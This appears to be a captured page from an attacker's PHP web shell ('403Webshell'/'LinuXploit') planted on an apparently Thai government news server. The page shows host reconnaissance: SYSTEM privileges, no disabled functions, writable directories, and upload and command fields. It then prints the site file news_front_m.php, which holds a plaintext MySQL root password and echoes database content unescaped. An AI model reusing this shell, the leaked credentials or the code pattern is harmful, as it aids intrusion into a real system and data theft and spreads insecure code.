403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www//news/news_front_m.php
<?php
	/*** By Weerachai Nukitram ***/
	/***  https://www.ThaiCreate.Com ***/
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
	<div align="center">
	  <?php
	$objConnect = mysql_connect("localhost","root","P@ssw0rdMySQL0") or die("Error Connect to Database");
	$objDB = mysql_select_db("news");
	mysql_query("SET NAMES UTF8");
	$strSQL = "SELECT * FROM posts where cat_id between 70 and 85 ORDER BY id DESC LIMIT 4";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
	echo"<table border=\"0\"  cellspacing=\"1\" cellpadding=\"1\"><tr>";	
	$intRows = 0;
	while($objResult = mysql_fetch_array($objQuery))
	{
	$intRows++;
	echo "<td>";									
	?>
<table width="180" border="0" cellpadding="0">
  <tr>
    <td width="180" height="120"><a href="https://program.sesaorb.go.th/news/story.php?id=<?php echo $objResult["id"];?>" target="_blank"><img src="<?php echo $objResult["image"];?>" width="180" height="120" border="1" alt="<?php echo $objResult["title"];?>"></a></td>
  </tr>
  <tr>
    <td height="50" valign="top" bgcolor="#ff7c00"><font size="2" color="#FFFFFF" ><?php echo $objResult["title"];?>
<?php
$today=date("d-m-Y");
$date_news=$objResult['date'];
$rest2 = substr("$date_news", 0,-9);
$news_day=(strtotime($today)-strtotime($rest2))/(60*60*24);
if($news_day <= 3) { echo "<img src='images/update_news.gif'>";} else { echo "";}
?></font></td>
  </tr>
</table>
	
	    <?php
		echo"</td>";
		if(($intRows)%4==0)
		{
		echo"</tr>";
		}
		else
		{
		echo "<td>";
		}	
	}
	echo"</tr></table>";
echo "
<table width='100%' border='0'>
  <tr>
    <td align='right'><a href='https://program.sesaorb.go.th/news/sesao8_all.php' target='_parent'><img src='images/more_r.png' border='0'></a></td>
  </tr>
</table>
";	
	?>
	    <?php
	mysql_close($objConnect);
	?>	
 
  </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit